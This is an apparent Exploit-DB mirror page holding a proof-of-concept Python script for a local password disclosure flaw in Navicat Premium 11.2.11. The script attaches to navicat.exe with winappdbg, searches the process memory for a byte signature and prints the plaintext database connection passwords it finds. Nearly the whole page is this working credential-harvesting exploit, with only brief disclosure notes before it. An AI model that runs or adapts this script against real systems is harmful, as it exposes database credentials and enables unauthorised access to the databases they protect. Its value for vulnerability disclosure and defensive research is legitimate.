Navicat Premium 11.2.11 (x64) – Local Database Password Disclosure

  • 作者: Yakir Wizman
    日期: 2016-09-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40336/
  • #####
    # Navicat Premium 11.2.11 (64bit) Local Password Disclosure
    # Tested on Windows Windows Server 2012 R2 64bit, English
    # Vendor Homepage @ https://www.navicat.com/
    # Date 05/09/2016
    # Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
    #
    # http://www.black-rose.ml
    #
    # Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
    #####
    # Navicat Premium client v11.2.11 is vulnerable to local password disclosure, the supplied password is stored in a plaintext format in memory process.
    # A potential attacker could reveal the supplied password in order to gain access to the database.
    # Proof-Of-Concept Code:
    #####
    
    import time
    from winappdbg import Debug, Process
    
    count 		= 0
    found		= 0
    filename 	= "navicat.exe"
    process_pid = 0
    memory_dump	= []
    
    def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()
    
    def h2b(str):
    	bytes = []
    	str = ''.join(str.split(" "))
    	for i in range(0, len(str), 2):
    		bytes.append(chr(int(str[i:i+2], 16)))
    	return ''.join(bytes)
    
    debug = Debug()
    try:
    	print "[~] Searching for pid by process name '%s'.." % (filename)
    	time.sleep(1)
    	debug.system.scan_processes()
    	for (process, process_name) in debug.system.find_processes_by_filename(filename):
    		process_pid = process.get_pid()
    	if process_pid is not 0:
    		print "[+] Found process with pid #%d" % (process_pid)
    		time.sleep(1)
    		print "[~] Trying to read memory for pid #%d" % (process_pid)
    		
    		process = Process(process_pid)
    		for address in process.search_bytes('\x00\x90\x18\x00\x00\x00\x00\x00\x00\x00'):
    			memory_dump.append(process.read(address,30))
    		memory_dump.pop(0)
    		for i in range(len(memory_dump)):
    			str = b2h(memory_dump[i])
    			first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1]
    			last = first.split("00 ")
    			if last[0]:
    				count = count+1
    				found = 1
    				print "[+] Password for connection #%d found as %s" % (count, h2b(last[0]))
    		if found == 0:
    			print "[-] Password not found! Make sure the client is connected at least to one database."
    	else:
    		print "[-] No process found with name '%s'." % (filename)
    	
    	debug.loop()
    finally:
    debug.stop()